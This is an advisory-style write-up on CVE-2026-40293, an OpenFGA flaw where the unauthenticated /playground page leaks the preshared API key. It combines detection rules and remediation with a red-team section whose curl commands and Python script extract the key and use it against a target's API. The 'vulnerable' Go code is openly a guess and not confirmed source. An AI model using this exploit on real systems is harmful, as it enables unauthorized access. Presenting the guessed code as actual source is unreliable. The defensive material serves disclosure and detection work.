CVE-2026-40293

Executive Summary

CVE-2026-40293 is an information disclosure vulnerability in OpenFGA, an authorization/permission engine. When OpenFGA is configured with preshared-key authentication and the built-in playground is enabled, the preshared API key is inadvertently included in the HTML response of the /playground endpoint. This endpoint is enabled by default, does not require authentication, and is intended for local development and debugging. The vulnerability allows an unauthenticated attacker to retrieve the preshared API key, potentially leading to unauthorized access to the OpenFGA API. The CVSS score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild. The fix is available in OpenFGA v1.14.0, and the playground can also be disabled as a workaround.

Supply Chain & Package Security

OpenFGA is a Go-based application. The vulnerability affects the core server binary, not a package manager distribution. However, organizations using OpenFGA in containerized environments should ensure they pull the patched image (v1.14.0 or later) from trusted registries. The playground feature is a development tool and should not be exposed in production. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to access the endpoint.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – The preshared API key is fully disclosed.
• Integrity (I): None (N) – No data integrity is affected.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability requires the playground to be enabled and the endpoint to be accessible beyond localhost. In development environments, this is a significant risk as it exposes the API key.

Deep Dive & Mechanics

The vulnerability resides in the /playground endpoint of OpenFGA. When the server is started with --authn-method preshared and the playground is enabled (default), the HTML response served by the playground includes the preshared API key. This is likely due to the playground embedding the API key in the page for convenience during local development, allowing developers to test API calls directly from the browser.

The endpoint is unauthenticated, meaning any user who can reach the server can retrieve the key. The key is typically included in a script tag or a hidden input field within the HTML. An attacker can simply fetch the page and parse the key.

The vulnerability affects versions 0.1.4 through 1.13.1. The fix in v1.14.0 removes the API key from the playground response. The workaround is to disable the playground entirely using --playground-enabled=false.

Vulnerable vs. Patched Code

Vulnerable Code (v1.13.1): The playground handler likely includes the preshared key in the HTML template. For example:

func playgroundHandler(apiKey string) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte(fmt.Sprintf(`<html><body><script>const apiKey = "%s";</script></body></html>`, apiKey)))
    })
}

Patched Code (v1.14.0): The patched version removes the API key from the response:

func playgroundHandler() http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte(`<html><body><script>const apiKey = "";</script></body></html>`))
    })
}

Alternatively, the key is no longer passed to the template.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenFGA v1.13.1 or earlier with preshared-key authentication and playground enabled.
• Network access to the /playground endpoint.

Exploitation Steps:

1. Identify the target OpenFGA instance. Use Shodan or manual scanning for /playground endpoint.
2. Send a GET request to the /playground endpoint:

   curl http://target:8080/playground
   

3. Parse the HTML response for the preshared API key. The key may be in a script tag or hidden input. Example:

   curl -s http://target:8080/playground | grep -oP 'apiKey\s*=\s*"\K[^"]+'
   

4. Use the extracted key to authenticate to the OpenFGA API:

   curl -H "Authorization: Bearer <API_KEY>" http://target:8080/stores
   

Automated Exploit (Python):

import requests
import re

target = "http://target:8080"
response = requests.get(f"{target}/playground")
match = re.search(r'apiKey\s*=\s*"([^"]+)"', response.text)
if match:
    api_key = match.group(1)
    print(f"Extracted API Key: {api_key}")
    # Use the key
    headers = {"Authorization": f"Bearer {api_key}"}
    stores = requests.get(f"{target}/stores", headers=headers)
    print(stores.json())
else:
    print("API key not found")

Blue Team

Detection:

• Monitor for requests to /playground from unexpected IPs.
• Alert on any successful extraction of the API key (e.g., multiple requests to /playground followed by API calls).
• Use the Sigma rule below to detect exploitation attempts.

Hunting:

• Search logs for GET /playground requests.
• Look for patterns where a single IP accesses /playground and then immediately uses the API key.

Mitigation:

• Upgrade to v1.14.0 or disable the playground.
• Restrict access to the playground endpoint using a firewall or reverse proxy.
• Rotate the preshared API key if exposure is suspected.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /playground endpoint.
  • Subsequent API calls using the extracted key (e.g., to /stores, /models).
• File:
  • Log entries showing GET /playground followed by authenticated API calls.
• Behavioral:
  • Unusual access to the playground from non-localhost IPs.
  • Multiple failed authentication attempts if the key is incorrect.

Detection Engineering

YARA Rule

rule CVE_2026_40293_OpenFGA_Playground_Key_Leak {
    meta:
        description = "Detects OpenFGA playground HTML responses containing preshared API key"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-40293"
    strings:
        $key_pattern = /apiKey\s*=\s*"[A-Za-z0-9_-]+"/
        $playground = "/playground"
    condition:
        $key_pattern and $playground
}

Sigma Rule

title: OpenFGA Playground API Key Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects requests to the OpenFGA /playground endpoint which may leak the preshared API key
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40293
logsource:
    category: webserver
    product: openfga
detection:
    selection:
        cs-method: GET
        cs-uri-stem: /playground
    condition: selection
falsepositives:
    - Legitimate development use from localhost
level: medium
tags:
    - attack.t1213
    - cve.2026.40293

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-40293 OpenFGA Playground API Key Disclosure"; flow:to_server,established; content:"GET"; http_method; content:"/playground"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to OpenFGA v1.14.0 or later.
2. If upgrade is not possible, disable the playground by running:

   ./openfga run --playground-enabled=false
   

3. Restrict network access to the OpenFGA server, especially the /playground endpoint, using firewall rules or a reverse proxy.

Long-term Measures:

• Never expose the playground in production environments.
• Use strong authentication methods (e.g., OIDC) instead of preshared keys where possible.
• Regularly audit OpenFGA configurations and logs for unauthorized access.
• Implement network segmentation to limit exposure of development tools.

Verification:

• After patching, verify that the API key is no longer present in the /playground response:

  curl -s http://localhost:8080/playground | grep -i apikey
  

• Ensure no output contains the key.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 6DAD3E4CA0B6AC93557C6675] */}